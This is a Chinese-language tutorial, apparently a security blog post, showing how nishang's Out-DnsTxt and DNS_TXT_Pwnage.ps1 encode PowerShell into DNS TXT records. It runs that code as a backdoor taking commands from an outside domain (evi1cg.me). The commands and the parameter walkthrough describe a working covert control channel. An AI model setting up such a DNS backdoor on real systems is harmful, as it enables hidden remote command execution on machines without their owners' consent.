0x00簡介
DNS TXT記錄一般用來記錄某個主機名或者域名設置的說明,在這里可以填寫任何東西,長度限制255。絕大多數的TXT記錄是用來做SPF記錄(反垃圾郵件)。本篇文章主要介紹如何使用 nishang 通過創建TXT記錄執行powershell腳本。當然,首先你要有一個域名。
0x01創建TXT記錄
這里需要使用nishang中的一個腳本 OUT-DnsTxt 。
1.常見命令
因為常見命令比較短,所以可以直接添加到TXT記錄中,如下圖:
現在查看一下TXT記錄:
可以看到記錄已經成功添加了。
2.腳本
由于TXT記錄長度限制為255,如果要添加一個腳本到記錄里面,需要添加多個TXT記錄。下面是一個例子,自己寫了一個PSH腳本:
function Get-User { <# .SYNOPSIS Script to generate DNS TXT for a test. .DESCRIPTION Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up. .EXAMPLE PS > Get-User #> [CmdletBinding()] Param () net user }
使用Out-Dnstxt進行轉換:
PS F:/DNS> . ./Out-DnsTxt.ps1 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1 You need to create 2 TXT records. All TXT Records written to F:/DNS/encodedtxt.txt
由于這個腳本比較小,所以只生產兩行:
可以分別將這兩行內容按順序添加到 1.ps.domain.com到2.ps.domian.com中如下圖:
查看TXT,可以看到內容都已經添加好了:
0x02 執行Powershell
添加完了TXT記錄以后,通過 DNS_TXT_Pwnage.ps1 來執行這些腳本。
DNS_TXT_Pwnage.ps1 是一個通過DNS TXT來接收命令或者腳本的一個后門腳本
這里還需要添加兩條記錄,strat與stop,具體如下圖:
1.執行命令
PS F:/DNS> . ./DNS_TXT_Pwnage.ps1 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me - Subdomains 1 -StopString stop
解釋一下參數:
startdomain 為創建的 start.domain ,返回一個字符串; cmdstring 為任意輸入的字符串; commanddomain 為創建的執行命令TXT記錄的域名; psstring 為任意輸入的字符串; psdomain 為創建的執行腳本TXT記錄的域名或子域名 ; Subdomains 為執行腳本創建TXT記錄的個數(如1.2中創建的腳本,該值為2); StopString 為任意輸入的字符串。
新聞熱點
疑難解答